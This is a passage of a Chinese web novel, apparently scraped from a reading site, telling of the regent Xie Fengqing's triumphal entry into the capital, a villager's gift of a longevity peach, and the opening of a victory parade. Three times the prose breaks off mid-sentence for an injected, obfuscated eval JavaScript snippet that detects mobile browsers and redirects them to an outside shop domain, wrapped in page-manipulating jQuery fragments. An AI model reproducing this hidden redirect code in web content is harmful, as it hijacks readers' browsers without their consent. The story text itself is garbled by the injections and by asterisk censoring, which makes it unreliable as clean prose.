残月西沉,光华渐隐,唯有启明星仍执着地悬挂于墨蓝天幕的边际,如同一枚孤傲的银钉,闪烁着清冷而坚定的微光。然而,这座古老的京城,却已迫不及待地从深沉睡梦中彻底苏醒,仿佛一头蛰伏的巨兽,在黎明前轻轻吐纳。 连续缠绵了数日的春雨,竟在今晨破晓前恰到好处地敛了声势,湿润的空气中,饱含着泥土被充分浸润后散发出的、带着几分腥甜的清新气息,混杂着道旁草木被夜雨洗净的微香,更弥漫着一种难以言喻的、唯有在社稷大典或元正佳日才可能感受到的无声沸腾——那是万千人压抑着的激动呼吸,是无数心跳悄然加速的共振,是一种蓄势待发的、近乎神圣的集体期盼。 寅时末刻的寒意,如同透明的薄纱,尚未完全从街巷角落褪去,但永定门那巍峨的城楼内外,以及门前那条可供十乘马车并驰的宽阔官道两侧,早已是万头攒动。人们从京畿各地乃至更远的郊县涌来,摩肩接踵,翘首以盼。虽人潮汹涌,却在一种奇异的默契与禁军士兵无声的疏导下,维持着基本的秩序,只有那低沉的、如同潮汐般起伏的嗡嗡人声,汇聚成一股巨大的背景音,预示着即将到来的非同凡响。 天光,就在这无限的期待中,一丝丝地泄露出来。东方天际的那抹鱼肚白,像是画家在深邃的靛蓝画布上不慎滴落的乳白颜料,迅速晕染开来。 旋即,这白又被注入了一丝若有若无的金红,如同最上等的宣纸,在技艺高超的画师笔下,被蘸着胭脂与藤黄的画笔,缓缓晕开一片温润的霞光。这霞光初时羞涩,只在天地相接处涂抹着淡淡的釉彩,但很快便恣意起来,色彩层层加重、扩散,由金红转为橘黄,再由橘黄燃成一片瑰丽的橙红。终于,在万千双眼睛的注视下,那轮积蓄了整夜力量的红日,喷薄而出! 万道金光如同利剑,瞬间刺破云霞,毫无保留地洒向广袤大地。巍峨的城墙垛口、城楼上猎猎招展的彩旗、以及官道两旁无数张殷切期盼的脸庞,刹那间都被镀上了一层温暖而辉煌的橘黄色光边。前夜的雨水,此刻成了最好的帮手,将琉璃瓦冲洗得光洁如镜,将青石板路浸润得深沉发亮,它们共同反射着朝阳耀眼的光芒,整座京城仿佛刚刚从氤氲的梦境中彻底走出,周身焕然一新,庄严、肃穆,却又洋溢着难以抑制的辉煌与喜气。 就在这片愈发明亮的光辉中,远处,一声低沉而悠长的号角,骤然划破了清晨的相对宁静。那声音浑厚、苍劲,带着金属的质感,穿越薄雾与晨曦,清晰地传入每个人的耳中。这是凯旋之师即将抵达的明确信号! 原本就如潮汐般的人声,此刻仿佛被投入了一块巨石,骚动起来。人群像被风吹过的麦浪,不由自主地向前涌动了一下,又被维持秩序的士兵们坚定地阻住。孩童们兴奋地骑在父亲的肩头,小手胡乱地指向号角传来的方向;少女们下意识地紧了紧手中还带着晶莹露水的鲜花,脸颊因激动而泛起红晕; 那些白发苍苍的老者们,相互搀扶着,浑浊的眼中竟也闪烁起泪光,他们历经沧桑,更懂得和平与胜利的来之不易。所有的目光,所有的期待,都汇聚向官道的尽头。他们都在等待一个人,那位以女子之身摄政,却率领大燕铁骑赢得北疆全线大捷,力挽狂澜,保住山河无恙的传奇英雄——摄政王谢凤卿。这一刻,天地间的一切仿佛都成为了她的背景,只为迎接她的归来。 铁龙凯旋车宛如一座移动的钢铁堡垒,在初春的原野上平稳地行驶。瞭望台上,谢凤卿迎风而立,一身银甲在朝阳下闪烁着冷冽而坚定的光芒。她望着远方地平线上渐渐清晰的京城轮廓,那熟悉的轮廓让她心中百感交集。三个月前,她正是在万千疑虑的目光中,从此地誓师出征,前方是未卜的战场,肩上是沉甸甸的家国重任。而今,她带回的不只是北疆全线告捷的捷报,更是一个崭新时代的开启之钥。 铁龙凯旋车的瞭望台上,风声似乎都收敛了呼啸,唯余车轮碾过官道的沉闷回响,以及身后那人几乎融于风息的脚步声。谢凤卿没有回头,脊背依旧挺直如松,目光仍牢牢锁在远方晨曦中愈发清晰的京城轮廓上。能在这铁甲护卫的重重戒备下,如此悄无声息地靠近她,且能让她紧绷的神经不自觉地松弛、毫不设防的,普天之下,也唯有萧御一人。 他今日换上了专为凯旋大典准备的礼服,银亮的铠甲覆盖在深紫色战袍之外,那紫色浓郁得近乎于黑,却更反衬出银甲的冷冽光华。这一身装束将他本就挺拔的身形勾勒得愈发修长英武,平日里惯有的冷峻眉眼,此刻在初升朝阳的斜照下,竟也仿佛被镀上了一层极淡的柔光,不易察觉,却真实存在。他走到她身侧,并未立即言语,只是同样将目光投向那座象征着权力与归宿的城池,那锐利的眼神,似乎能穿透厚重的城墙,窥见其下涌动的**暗流与人心浮沉。 谢凤卿并未直接回答他那个简短的问题“紧张吗?”,只是极轻地摇了摇头,束发的金冠璎珞随风微动,发出细碎的清响。她的声音平静,似一泓深潭,可若细辨,便能听出那平静之下潜藏的一丝几不可察的波澜,如同潭底暗涌的潜流:“只是觉得,肩上的担子,似乎比出征时更重了。那时,目标纯粹,只需虑战,虑胜负;而今,要虑的……是整个天下,是这万千黎民的生计与前路。”这番感慨发自肺腑,卸下沙场杀伐的重担,拾起的却是更为复杂沉重的江山社稷之责。 萧御的目光从京城方向收回,转而落在她线条优美的侧脸上,那里的肌肤因常年征战略显风霜之色,却更添坚毅。他的语气笃定如山,带着一种不容置疑的力量:“但你值得这一切。”他微微停顿,仿佛要让每个字都烙印在她心上,“京都百姓的欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704339|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼,天下人心的归向,此刻所向披靡的,是你谢凤卿,是你用赫赫战功与守护山河的赤诚换来的。” 他略侧过头,将声音压得更低,那低沉磁性的嗓音几乎成了只有她才能捕捉到的气音,带着某种郑重的承诺,“正如我之心,我之所向,从未变更。”这简短的话语,比任何华丽的誓言都更具分量,它跨越了君臣的界限,直抵内心深处最柔软的角落。 谢凤卿心中微动,似有暖流悄然漫过心田,驱散了寅时残存的最后一丝寒意。她依旧没有转头与他对视,这是一种无言的默契,也是一种在万众瞩目下必须保持的克制。但她那因肩负重任而始终略显紧绷的肩线,却在闻言后几不可察地松弛了一分,这个细微的变化,逃过了天下人的眼睛,却未必能逃过身边那双始终关注着她的眼眸。 就在这时,铁龙凯旋车恰好驶过最后一道绵延的山岗,视野豁然开朗。永定门那巍峨的全貌,以及城门之外那一片黑压压、延绵不绝、一直延伸到视界尽头的沸腾人海,如同巨幅画卷,毫无保留地、带着磅礴气势猛地撞入了她的眼帘。即便早已收到京中捷报,即便对“万人空巷”的迎接场面有所心理准备,但当这真实、宏大、充满鲜活生命力的场景以如此具象的方式呈现在眼前时,所带来的视觉与心灵的双重冲击,依旧让久经沙场、见惯生死的谢凤卿呼吸为之一窒,胸腔内的心脏,不受控制地剧烈搏动起来。 紧接着,城门楼上,九声象征最高礼遇的礼炮轰鸣炸响,声震四野,回音在群山间荡漾。 炮声的余韵尚在天地间隆隆回荡,仿佛巨兽的低吼还未彻底平息,一片巨大的阴影已毫无征兆地投下,笼罩了永定门前的大片区域,连明媚的晨光都为之一暗。紧随而来的,是低沉、有力、极具压迫感的旋翼轰鸣声,那声音不同于世间任何已知的飞禽或机械,它搅动着云气,也搅动着下方每一个人的心弦。众人下意识地抬头仰望,只见高天之上,云层翻涌,一艘庞大得超乎想象的火龙炮舰,正以一种近乎优雅的姿态,缓缓穿透薄纱般的云霭,向下降临。 朝阳恰好升至一个绝佳的角度,金色的光芒毫无保留地倾泻在舰体之上。那流线型的舰身泛着经过千锤百炼的金属特有的冷冽光泽,每一处线条都充满了力量与科技融合的美感。最引人注目的,是舰首那面迎风猎猎的巨旗,玄黑为底,上面用金线绣着一个龙飞凤舞、气势磅礴的“凤”字。那“凤”字在阳光下不仅熠熠生辉,其笔画的边缘竟仿佛真有金色的火焰在隐隐流动、燃烧,象征着无可争议的权威与不容亵渎的荣耀。 “是霍三娘!是她的火龙炮舰!”沉寂仅仅持续了一瞬,随即,凯旋军队的方阵中爆发出山呼海啸般的激动欢呼。许多身经百战、伤痕累累的硬汉此刻竟也情难自抑,热泪盈眶。他们太认识这艘战舰了! 第100章看!那就是摄政王 在北疆的冰天雪地里,在无数次生死一线的危急关头,正是这艘如同神迹般的炮舰,带着毁灭性的火力与希望,一次次撕裂敌人的阵线,为他们带来转机。它不仅仅是一艘船,更是与他们同生共死的战友,是北疆战役中不可或缺的传奇象征,承载着太多难以磨灭的记忆。 然而,更令人惊叹得屏住呼吸的景象,紧接着发生了。当炮舰下降到一定高度,其侧舷一处巨大的舱门在机括声中缓缓开启。下一刻,成百上千只通体雪白、神骏异常的鹰隼,如同得到号令般,齐声呼啸着从舱内飞出!它们并非杂乱无章,而是在空中迅速集结,排列成某种特定的队形,围绕着巨大的炮舰盘旋飞舞,姿态优美而迅捷。就在众人迷惑于这群白鹰的意图时,它们突然齐齐振动双翼,无数粉嫩娇艳、带着清晨露珠的桃花瓣,从它们羽翼间、从特制的容器中倾洒而下! 刹那间,天空下起了一场盛大而浪漫的桃花雨。亿万片花瓣纷纷扬扬,随风飘落,它们沾染了高空的清冽气息,又被地面升腾的欢呼声温暖,在晨曦的金辉中翩跹起舞,闪烁着梦幻般的光点。花瓣落在兵士冰冷的铠甲上,落在百姓仰起的笑脸上,落在孩童伸出的手掌心,落在巍峨的永定门城楼和广阔的土地上。原本庄严、甚至略带肃杀之气的凯旋场景,瞬间被点缀得如梦似幻,宛如九天仙境骤然降临人间,将刚毅与柔美、胜利的豪情与生命的芬芳完美地融合在一起。 这前所未有的奇景,彻底点燃了所有人压抑的情绪。“凤皇凯旋!凤皇万岁!”百姓们的欢呼声终于冲破了最后的临界点,不再仅仅是声音,而是化成了一股有形的、澎湃的能量洪流。这声音如同积蓄了万载的春雷,在脚下的大地上轰然炸响,震得青石板路面都在微微颤抖,巨大的声浪汇聚成一股磅礴的气流,直冲云霄,仿佛连那九天之上的流云也要被这发自肺腑的拥戴之情掀翻、驱散! 在这几乎要淹没一切的滔天声浪中,站在车首瞭望台的谢凤卿,却清晰地感觉到,一只温热而有力的大手,带着习武之人常年握兵器磨出的薄茧,以一种沉稳而不容置疑的力道,轻轻覆盖在了她因用力握着栏杆而指节微微发白的手背上。那手掌的温度,透过微凉的皮肤,稳稳地传递过来。是萧御。他依旧站在她身侧半步之后的位置,没有说话,没有多余的动作,但这个无声的接触,却比任何慷慨激昂的誓言、任何动人的安抚都更具力量。这简单的触碰,是在告诉她:无论前方是万丈荣光还是惊涛骇浪,他都在。 谢凤卿没有回头,也没有抽手,她只是顺应着那份力量,深深吸了一口气。空气中混合着桃花的清甜芬芳、清晨的凉意、以及万民沸腾带来的灼热气息。方才因深感责任重大而悄然升起的那一丝细微忐忑,在这真实的触感与坚定的支持面前,瞬间烟消云散。取而代之的,是如同脚下这辆稳固前行的铁龙凯旋车一般,坚定、沉稳、一往无前的决心。她的脊背挺得更直,目光重新投向那敞开的永定门和门后那座等待她的城池,眼神已然是一片沉静如水的坚定。 辰时正刻,凯旋入城仪式正式开始。 永定门那沉重而古老的城门,在巨大机括的牵引下,伴随着沉闷而悠远的轰鸣,缓缓向内开启。这声音仿佛来自大地深处,又似历史巨兽苏醒的喘息。城门洞下阴暗的光线逐渐被扩大,如同舞台的帷幕被拉开,将京城最盛大的一幕呈现给凯旋的英雄。铁龙凯旋车适时调整了行进速度,发出更为沉稳有力的轰鸣,这钢铁巨兽的声响与城门开启的古老声音形成奇妙的交响,在震耳欲聋的百姓欢呼声中,庄严而缓慢地驶入了这座它誓死守护的京城。 城内景象,较之城外更为壮观恢弘。朱雀大街宽阔的御道两旁,早已是万头攒动,摩肩接踵,几乎看不到一寸空地。维持秩序的禁军士兵们不得不手挽着手,以血肉之躯组成一道道坚固的人墙,才能勉强在汹涌的人潮中为凯旋车队留出通行的通道。这些士兵额角沁出细密的汗珠,但身姿依旧挺拔如松,因为他们守护的是大燕最荣耀的时刻。 人们纷纷穿着只有最盛大的节日才会上身的新衣,脸上洋溢着发自内心的灿烂笑容,手中奋力挥舞着彩带、鲜花,甚至是用自家染制的彩布做成的简易旗帜。当凯旋车缓缓驶过时,无数的鲜花如同被施了魔法般从四面八方抛向空中,形成一片绚丽的花雨,然后纷纷扬扬地落在冰冷的车顶、宽阔的甲板,以及每一位征尘未洗的将士身上。欢呼声、赞叹声、喜极而泣的呜咽声,交织成一曲盛大而充满人间烟火气的交响乐,这声音不仅冲击着耳膜,更震撼着每一个在场者的灵魂。 谢凤卿已从高耸的瞭望台稳步走下,立于车首特设的汉白玉高台上。她换上了为今日大典特制的银甲红袍礼装,在阳光下熠熠生辉。银甲由宫廷御用能工巧匠千锤百炼而成,每一片甲叶都薄如蝉翼却坚不可摧,甲片在春日的阳光下折射出流水般柔和而耀眼的光泽,既冰冷高贵,又仿佛蕴含着生命的灵动。猩红的战袍则以最上等的金线,由十二名绣娘耗时三月才绣成展翅凤凰的图案,那只凤凰栩栩如生,随着她的每一个细微动作而微微摆动,宛如真正燃烧的火焰,象征着她赫赫战功与无上威严。 “看!那就是摄政王!”一个激动得声音发颤的老秀才,扶正了差点被挤掉的方巾,指着缓缓行来的车驾,对身边挤着的街坊高声道。他身旁卖了几十年豆腐的林嫂,踮着脚,眯着眼看了又看,突然用带着浓浓乡音的大嗓门喊道:“真的是她!天神老爷诶,比城门口贴的画像还要英气,还要威风!”这声呼喊如同在滚沸的油锅里滴进了清水,瞬间引爆了更热烈的回应。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708370|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北疆大捷的英雄!是我们的凤皇回来了!”一个曾经在北疆当过兵、腿脚有些不便的老兵,挣扎着想要站得更直,眼眶通红地嘶吼着,声音却淹没在更高的声浪里。 “凤皇万岁!摄政王千岁!” 各种各样的欢呼声、赞叹声、喜极而泣的呜咽声,从酒楼窗口、从茶馆二楼、从每一个能窥见街面的角落,如同百川归海,汇聚成一股磅礴的声浪,从四面八方汹涌扑来,一浪高过一浪,冲击着人们的耳膜,也冲击着谢凤卿的心防。空气中仿佛弥漫着一种近乎实质的灼热崇拜,那是万千民众最质朴、最炽热的情感宣泄。 在这片沸腾的人海中,有几个胆大包天的垂髫孩童,趁着母亲全神贯注于瞻仰凤颜之际,像一尾尾灵活的小泥鳅,“刺溜”一下从禁军士兵挽起的人墙缝隙中钻了出去。他们赤着脚,踩着还带着雨水的青石板,飞快地冲向车队,脏兮兮的小脸上,一双双黑白分明的眼睛里,充满了对那位传说中英雄的无尽好奇和向往。他们想更近一些,哪怕只是看清那银甲上的反光,或是那红袍上金线的纹路。 值守的侍卫们反应极快,但他们并未如临大敌般厉声呵斥或粗暴驱赶,而是迅速而有序地侧身挡住车队前方可能的风险,同时几位面相敦厚的年长侍卫快步上前,半蹲下身子,用与那身冷硬铠甲截然不同的温和语气,耐心而坚定地劝导着,一边将孩子们轻轻揽住,一边目光扫视人群,寻找他们焦急的父母。一个虎头虎脑的小男孩被侍卫大哥抱在臂弯里,还不甘心地回头望着车驾,奶声奶气地问:“叔叔,我长大了也能像摄政王那么厉害吗?”侍卫被他逗乐了,低声道:“那你可得先好好吃饭,快点长高才行。”说着,便小心翼翼地将他们一个个护送回急忙赶来的父母身边。那母亲又惊又愧,连连道歉,侍卫却只是摆摆手,示意无妨,目光随即又警惕地投向欢腾却有序的人群。 端立于车首高台的谢凤卿,将这一幕清晰地收入眼底。她看到那孩童眼中的纯然崇拜,看到侍卫处理方式中蕴含的温情与纪律,也看到那母亲失而复得的庆幸与感激。这一切,让她那因肩负山河而始终清冷的面容上,唇角不由泛起一丝真切而柔和的笑意。这笑意虽淡,却如同冰河解冻,春水初生,瞬间柔和了她眉宇间的锐利与威严。 她的目光缓缓扫过那一张张因激动而涨红的脸庞,那些挥舞着的手臂,那些闪烁着泪光的眼睛,思绪却不由自主地飘回了三个月前。彼时,她力排众议,以女子之身决意摄政,并亲赴北疆督师,朝野上下,市井坊间,充斥着多少质疑、非议甚至恶意的揣测。“牝鸡司晨”“女流之辈岂能执掌干戈”“贸然亲征,恐致山河倾覆”……种种声音,犹在耳边。纵然她一贯坚定,但面对如此巨大的压力,内心深处又何尝没有过片刻的孤寂与彷徨? 第101章家书 而如今,北疆大捷的烽火照亮了归途,这些最淳朴、也最真实的京城百姓,用他们毫无保留的热情、直冲云霄的欢呼和那发自内心的崇敬,为她正名,给予了她最厚重、也最珍贵的认可。这认可,不依赖于繁琐的礼仪规章,不源于冰冷的权术制衡,它生于人心,源于实实在在的安定与胜利。在谢凤卿心中,这万民自发的拥戴,远比史官笔下的溢美之词、功勋簿上的累累记录,更让她感到一种深刻的欣慰与踏实。这证明她所选的道路,所付出的牺牲,都被这片土地和其上的人民所看见、所铭记、所回报。一股温热的暖流,悄然在她心间流淌,驱散了最后一丝因位高权重而不可避免的寒意。 萧御骑乘着通体乌黑、宛若暗夜凝成的神骏“追风”,紧随在缓缓前行的铁龙凯旋车侧畔。这匹名为追风的宝马,乃西域进贡的良驹后裔,体形矫健,四蹄生风,浑身皮**在黑中透出隐隐的幽光,唯有额间一绺雪白的星形印记,如同划破夜空的闪电,平添几分神秘与高贵。此刻,追风似乎也感知到今日气氛的非同寻常,步伐沉稳而警觉,肌肉在光滑的皮肤下微微起伏,鼻翼轻轻翕动,喷出淡淡的白气。 萧御端坐于雕鞍之上,身姿挺拔如松,即便在万千人潮的欢呼声中,亦保持着武将特有的警觉。他身着一套精工锻造的玄色铠甲,甲片并非全然墨黑,而是在边缘处以极细的金线勾勒出流云暗纹,在日光下随着马背的轻微起伏,流转着内敛而华贵的光泽。外罩的深紫色战袍,以金丝绣着狻猊图腾,象征着勇猛与忠诚,此刻袍角随风轻扬,更显其气度不凡。他的目光,锐利如翱翔于苍穹的鹰隼,时刻如扫描般细致地扫视着周围沸腾的人群、街巷的每一个窗口、乃至任何可能藏匿危险的角落。他的耳朵敏锐地捕捉着声浪中的每一丝异动,不放过任何可能危及车驾的细微征兆。多年的军旅生涯和护卫职责,已将这种警惕刻入了他的骨髓。 然而,更多的时候,他那双惯于审视危险的眼眸,会不由自主地、近乎贪婪地落回到车首高台之上,那个沐浴在万丈荣光中的身影——谢凤卿的身上。他看着她身着银甲红袍,于万千欢呼中依然保持着近乎完美的从容与威仪,那并非刻意营造的疏离,而是一种发自内心的、历经沙场淬炼后沉淀下来的沉稳。他看着她微微侧首,向道路两旁激动的百姓挥手致意,唇角那抹笑意,淡然却真诚,不似高高在上的王者,反倒带着一丝体察民情的温和。 每当此时,萧御那因常年握剑而略显冷硬的胸腔里,便会被一种难以言喻的、饱胀的情感所充斥。那是为她今日成就感到的骄傲,如同目睹自己精心守护的稀世珍宝终得天下认可;那是对她坚韧不拔、智勇双全的钦佩;更深处,还涌动着一股更为深沉、更为炽热,却被他竭力克制的情感洪流。这个女子,不仅仅是他立誓效忠、愿以性命护卫的主上,更是他灵魂深处愿意倾尽所有、乃至未来岁月去默默守护的唯一。这份情感,超越了简单的君臣之义,掺杂着更为复杂的倾慕与怜惜,让他在万千喧闹中,只感觉她的周围存在一种奇异的宁静。 车队沿着朱雀大街,在几乎要掀翻苍穹的声浪中缓缓前行。御道宽阔,可容十乘并行,此刻却因夹道欢迎的百姓而显得有些拥挤。若非禁军士兵们手挽手组成坚实的人墙,恐怕热情的民众早已淹没了通道。空气中弥漫着鲜花香、尘土味、汗水的气息,以及一种只有极度喜悦和兴奋时才会产生的、近乎实质的热情能量。 就在车队行至朱雀大街中段,即将转向那条直通皇城、更加庄严肃穆的御街的关口,异变突生。一群白发苍苍、身着陈旧但整洁布衣的老人,在几位身着绸衫、看似乡绅领袖的引导下,颤巍巍地、却又带着不容置疑的决绝,突破了禁军勉强维持的边界,齐齐地跪倒在了道路的中央,恰好拦住了凯旋车队的去路。 这一变故让现场的气氛瞬间一凝。护卫的禁军士兵们立刻紧张起来,手不自觉地按上了腰间的刀柄,目光齐刷刷投向骑在马上的萧御,等待指令。欢呼声也因为这突如其来的阻拦而骤然降低了许多,百姓们好奇地张望着,不知发生了何事。 萧御的瞳孔微缩,右手瞬间握紧了缰绳,追风感应到主人的警惕,不安地踏了踏蹄子。他的目光如电,迅速扫过这群不速之客。为首的是一位看上去年岁极高的老翁,脸上沟壑纵横,记录着岁月的沧桑,腰背佝偻,但被一位同样头发花白的曾孙小心翼翼地搀扶着。令人惊异的是,老翁那双布满老年斑、微微颤抖的手,却异常稳定地捧着一枚物事——那是一枚硕大无比、形态完美、红艳欲滴的寿桃。寿桃的色泽鲜艳得如同朝霞染就,形态饱满丰润,在周遭略显灰暗的服饰和环境中,显得格外夺目,它静静地置于老人枯瘦的双掌间,象征着无与伦比的美好祝福与延年益寿的祈愿。 老翁抬起浑浊却闪烁着激动泪花的眼睛,努力望向车首的方向,嘴唇嗫嚅着,似乎有千言万语堵在胸口。他周围的那些老人们,也纷纷以头触地,行着大礼,雪白的头颅在青石板上显得格外醒目。几位乡绅模样的人则恭敬地垂手立在老人们身后,脸上带着既惶恐又自豪的复杂神情。 萧御没有立刻下令驱散,他抬起手,做了一个稍安毋躁的手势。他敏锐地察觉到,这群老人身上并无半分恶意,只有一种近乎虔诚的感激和激动。他的目光越过他们,再次投向车首的谢凤卿,只见她已然注意到了前方的状况,脸上的浅笑微微收敛,秀眉几不可察地蹙起,眼中闪过一丝惊讶,随即化为深沉的探究与动容。萧御知道,此刻的应对,至关重要。他轻轻一夹马腹,追风向前踱了两步,他需要更近地掌控局势,确保万无一失,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715699|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时也将接下来的舞台,完全交给那位他誓死守护的摄政王。 老翁的声音带着明显的颤抖,那是岁月与激动共同作用下的沙哑之声,却异常清晰地穿透了人群的嘈杂,传入每个人的耳中:“王爷!摄政王千岁!您北征大捷,挽狂澜于既倒,保我大燕山河无恙,护我京城百姓平安!”他双手高举那枚硕大红艳的寿桃,如同捧着世间最珍贵的宝物,继续说道:“老朽……老朽代表这京城内外数十万黎民,献上这枚千年寿桃,愿王爷福泽绵长,寿与天齐!” 谢凤卿见状,立刻示意停车。她毫不犹豫地从车首高台步下,深红色战袍在春风中猎猎作响。她快步走到老翁面前,俯身亲手将他扶起,指尖触及老人粗糙的双手时,能清晰感受到那双手因年岁和激动而不停颤抖。“老人家,您这是折煞本王了。快快请起!”她的声音清越而温和,却带着一种不容置疑的坚定,“保家卫国,本是军人之天职;安定社稷,亦是本王分内之责。如此大礼,实在不敢当。” 老翁颤巍巍地站起身,却不肯松开谢凤卿的手,浑浊的双眼老泪纵横。他紧紧握着这位年轻摄政王的手,仿佛要通过这种方式将满腔的感激之情传递过去。“王爷有所不知啊……”他声音哽咽,每个字都像是从心底挤出,“老朽的那个不成器的孙儿,就在北疆军中,前番大战,他被困在黑风峡,四面楚歌,粮草断绝。” 老人仰头望着谢凤卿,泪水沿着沟壑纵横的脸颊滑落:“那时,我们都以为他回不来了……若不是王爷您神机妙算,派了那…那会飞的炮舰及时救援,他恐怕……恐怕就马革裹尸,回不来了啊!”说到这里,老人再也抑制不住情绪,声音彻底哽咽,“王爷,您救的不只是我孙儿一命,是救了我全家、全族的指望啊!” 老翁的话仿佛打开了记忆的闸门,周围的人群中,不少军属家属都默默垂泪。他们知道黑风峡一役有多么惨烈——那是一场持续了七天七夜的浴血奋战。 北疆的寒风如刀,雪花夹杂着血水,将黑风峡染成一片鲜红。将士们面对数倍于己的敌人,粮草断绝,**匮乏,却依然坚守阵地。峡谷两侧的悬崖上,大燕的旗帜始终不曾倒下。战士们用冻僵的手握着武器,以雪水解渴,以皮带充饥,却从未后退一步。 一位年轻的士兵在战地家书中写道:“父亲大人敬启:儿今守黑风峡,敌众我寡,然儿誓与阵地共存亡。若儿不归,请父亲勿悲,儿为保家卫国而死,死得其所。”这封家书后来被辗转送到京城,字里行间透着的坚定与决绝,令人动容。 峡谷中,将士们日夜奋战,伤口来不及包扎,鲜血浸透战袍结成冰,却无人退缩。当霍三娘的火龙炮舰终于冲破重重阻隔,出现在黑风峡上空时,幸存将士们相拥而泣——那不是因为恐惧,而是因为希望重生。 第102章阅兵大典,开始 谢凤卿双手接过那枚沉甸甸的寿桃,神情前所未有的郑重。这枚寿桃红艳似火,形态完美,却仿佛有千斤之重——因为它承载的不仅是祝福,更是百姓的期望与信任。 她高高举起寿桃,让周围所有人都能看清这个象征军民情深的信物。阳光照射在寿桃光滑的表面,反射出温暖的光泽,宛如北疆将士洒下的热血,也似百姓对和平生活的炽热期盼。 “老人家,您的心意,本王领受了。”谢凤卿的声音清晰而坚定,虽然不高,却奇异地传遍了四周,每个字都掷地有声,“您也请放心,本王在此立誓——”她顿了顿,目光扫过全场,看到无数双期盼的眼睛正紧紧注视着自己。 人群彻底安静下来,连风声都仿佛静止。所有人都屏息凝神,等待这位凯旋的摄政王说出接下来的话语。 “从今往后,只要我谢凤卿在一日,”她的声音陡然提高,带着金属般的铿锵之力,在寂静的街道上空回荡,“就绝不会让任何一个为大燕流血牺牲的将士寒心!” 这句话如同投入平静湖面的石子,激起了层层涟漪。人群中传来压抑的抽泣声,更多的人则是红着眼眶,紧紧握住双拳。 “也绝不会让任何一位大燕子弟,白白牺牲在疆场之上!”谢凤卿的誓言如同金石坠地,发出铮铮鸣响。这不是一般的承诺,而是以国家命运和個人荣誉为担保的庄严宣告。 她捧着寿桃,转向四周的百姓,声音沉痛而坚定:“北疆大捷的荣光,属于每一位浴血奋战的将士,属于每一位在后方默默支持的亲人,也属于每一个关心国家命运的大燕子民。今天的胜利,是用鲜血和生命换来的,我们永远不能忘记那些为此付出生命的英烈!” “凤皇万岁!摄政王千岁!”欢呼声再次响起,这次却少了狂喜,多了几分沉重与敬仰。人们不仅为胜利欢呼,更为那些永远留在北疆雪原上的英灵默哀致敬。 谢凤卿捧着那枚象征祝福与责任的寿桃,缓缓登上凯旋车。她知道,这枚寿桃将不再仅仅是水果,而是军民一心、共保家园的象征,将永远镌刻在大燕的历史记忆中。 而北疆将士浴血奋战的事迹,也将随着这枚寿桃的故事,代代相传,成为激励后人的精神财富。在未来的岁月里,每当春风拂过京城,人们都会想起这个春天,想起那些为**献出生命的将士,想起这位在凯旋时刻不忘将士牺牲的摄政王。 “凤皇万岁!摄政王千岁!”短暂的寂静后,是更加山呼海啸般的欢呼和跪拜。民心所向,在这一刻彰显无遗。谢凤卿捧着寿桃,转身登车,红色的身影在阳光下,仿佛真的化作了一轮涅槃重生的凤凰,光芒万丈。 广场以晶莹洁白的白玉石铺就,每一块石板都经过能工巧匠的精心打磨,在初春的阳光下泛着温润的光泽。这片宽阔无比的广场,此刻在严密有序的安排下,显得井然有序。禁军士兵身着统一服饰,沿广场四周肃立,如同雕塑般纹丝不动,将观礼的百姓与参加阅兵的军队清晰分隔开来。 四周旌旗招展,除了大燕的金色龙旗在风中猎猎作响外,还有北疆新归附的三十六部图腾旗,色彩斑斓,形态各异。这些旗帜在春风中飘扬,发出如同波涛般连绵不绝的声响。每一面旗帜都代表着草原上一个部落的归顺与忠诚,它们共同构成了一幅象征天下一统的壮丽画卷。 凯旋的将士们按功勋与兵种,列成一个个整齐肃穆的方阵。站在最前方的是重甲步兵方阵,士兵们身着统一的黑色重甲,头戴铁盔,只露出一双坚毅的眼睛。他们手中的**直立如林,枪尖在阳光下闪烁着令人胆寒的冷光。 紧随其后的是骑兵方阵,骑士们骑在高头大马上,人与马皆披重甲。马匹似乎也感知到今日的特殊,不时打着响鼻,蹄子轻刨地面,却始终保持着整齐的队形。骑兵手中的马刀已然出鞘,刀身反射着耀眼的阳光,远远望去,如同一条流动的银河。 弓箭手方阵站在步兵之后,他们身背箭囊,手持长弓,虽未张弓搭箭,但那股沙场老手特有的沉稳气质,却让人不敢小觑。而最新成立的火器营则位列最后,士兵们手持新式火铳,黝黑的枪口无声地诉说着这种新式武器的可怕威力。 整个阅兵场上的军容之盛,为大燕开国以来所未有。冲天的杀气早已化为冲霄的豪情,每一位士兵的脸上,都洋溢着胜利者的自豪与荣耀。 